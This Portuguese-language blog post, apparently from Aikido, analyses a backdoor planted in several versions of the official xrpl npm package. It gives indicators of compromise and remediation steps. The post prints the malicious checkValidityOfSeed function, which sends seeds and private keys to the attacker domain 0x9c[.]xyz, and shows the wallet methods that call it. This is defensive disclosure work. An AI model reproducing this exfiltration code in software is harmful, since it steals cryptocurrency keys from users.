Aikido

Ataque à cadeia de suprimentos XRP: Pacote oficial do NPM infectado com backdoor de roubo de cripto

Charlie EriksenCharlie Eriksen
|
#
#

Em 21 de abril, às 20:53 GMT+0, nosso sistema, Aikido Intel, começou a nos alertar sobre cinco novas versões do pacote xrpl. É o SDK oficial para o XRP Ledger, com mais de 140.000 downloads semanais. Confirmamos rapidamente que o pacote NPM oficial do XPRL (Ripple) foi comprometido por atacantes sofisticados que inseriram um backdoor para roubar chaves privadas de criptomoedas e obter acesso a carteiras de criptomoedas. Este pacote é usado por centenas de milhares de aplicações e sites, tornando-o um ataque de supply chain potencialmente catastrófico para o ecossistema de criptomoedas.

Esta é uma análise técnica de como descobrimos o ataque.

O pacote xrpl no npm

Novos pacotes lançados

O usuário mukulljangid havia lançado cinco novas versões da biblioteca a partir de 21 de abril, 20:53 GMT+0:

Pacotes maliciosos

O interessante é que estas versões não correspondem aos lançamentos oficiais, como visto no GitHub, onde o último lançamento é 4.2.0:

O último lançamento do GitHub quando os pacotes foram lançados.

O fato de esses pacotes terem aparecido sem um lançamento correspondente no GitHub é muito suspeito.

O código misterioso

Nosso sistema detectou um código estranho nesses novos pacotes. Veja o que ele identificou no src/index.ts arquivo na versão 4.2.4 (Que é marcado como mais recente):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

Tudo parece normal até o final. O que é isso? checkValidityOfSeed função? E por que está chamando um domínio aleatório chamado 0x9c[.]xyz? Vamos descer a toca do coelho!

Qual o domínio?

Primeiro, analisamos o domínio para descobrir se ele era minimamente legítimo. Consultamos os detalhes do whois para ele:

Informações Whois para 0x9c[.]xyz

Isso não é um bom sinal. É um domínio novíssimo. Muito suspeito.

O que o código faz?

O código em si apenas define um método, mas não há chamadas imediatas a ele. Então investigamos se ele é usado em algum lugar. E sim, ele é!

Resultados da busca pela função maliciosa

Vemos que ele está sendo chamado em funções como o construtor para o Wallet classe (src/Wallet/index.ts), roubando chaves privadas assim que um objeto Wallet é instanciado:

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

E estas funções:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

Por que tantas atualizações de versão?

Ao investigarmos esses pacotes, notamos que os dois primeiros pacotes lançados (4.2.1 e 4.2.2) eram diferentes dos outros. Fizemos um diff de 3 vias nas versões 4.2.0 (O que é legítimo), 4.2.1, e 4.2.2 para descobrir o que estava acontecendo. Aqui está o que observamos:

  • A partir de 4.2.1, o scripts e prettier a configuração foi removida do package.json
  • A primeira versão a inserir código malicioso em src/Wallet/index.js foi 4.2.2.
  • Ambos 4.2.1 e 4.2.2 continha um malicioso build/xrp-latest-min.js e build/xrp-latest.js.

Se compararmos 4.2.2 para 4.2.3 e 4.2.4, vemos mais alterações maliciosas. Anteriormente, apenas o código JavaScript empacotado havia sido modificado. Estas também incluíram as alterações maliciosas na versão TypeScript do código

  • As alterações de código mostradas anteriormente para src/index.ts.
  • A mudança de código malicioso para src/Wallet/index.ts.
  • Em vez de o código malicioso ter sido inserido manualmente nos arquivos construídos, o backdoor inserido em index.ts é chamado. 

Com isso, podemos ver que o atacante estava trabalhando ativamente no ataque, tentando diferentes formas de inserir o backdoor enquanto permanecia o mais oculto possível. Passando de inserir manualmente o backdoor no código JavaScript compilado, para inseri-lo no código TypeScript e depois compilá-lo para a versão construída.

Aikido Intel

Este malware foi detectado por Aikido Intel, o feed público de ameaças da Aikido que usa LLMs para monitorar gerenciadores de pacotes públicos como o NPM, a fim de identificar quando código malicioso é adicionado a pacotes novos ou existentes. Se você deseja ser protegido contra malware e vulnerabilidades não divulgadas, pode assinar o feed de ameaças Intel ou se inscrever no Aikido Security

Indicadores de Comprometimento 

Para determinar se você pode ter sido comprometido, aqui estão os indicadores que você pode usar:

Nome do pacote

  • xrpl

Versões do pacote

Verifique seu package.json e package-lock.json para estas versões:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Preste atenção se você tinha o pacote como uma dependência que não foi corrigida por um package lock file, ou estava usando um especificação de versão aproximada/compatível como ~4.2.0 ou ^4.2.0, como exemplos.

Se você acredita ter instalado qualquer um dos pacotes acima no período entre 21 de abril, 20:53 GMT+0 e 22 de abril, 13:00 GMT+0, inspecione seus logs de rede em busca de conexões de saída para o host abaixo:

Domínio

  • 0x9c[.]xyz

Remediação

Se você acredita que pode ter sido impactado, é importante assumir que qualquer seed ou chave privada processada pelo código foi comprometida. Essas chaves não devem mais ser usadas, e quaisquer ativos associados a elas devem ser movidos para outra carteira/chave imediatamente. Desde que o problema foi divulgado, a equipe xrpl lançou duas novas versões para substituir os pacotes comprometidos:

  • 4.2.5
  • 2.14.3
4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.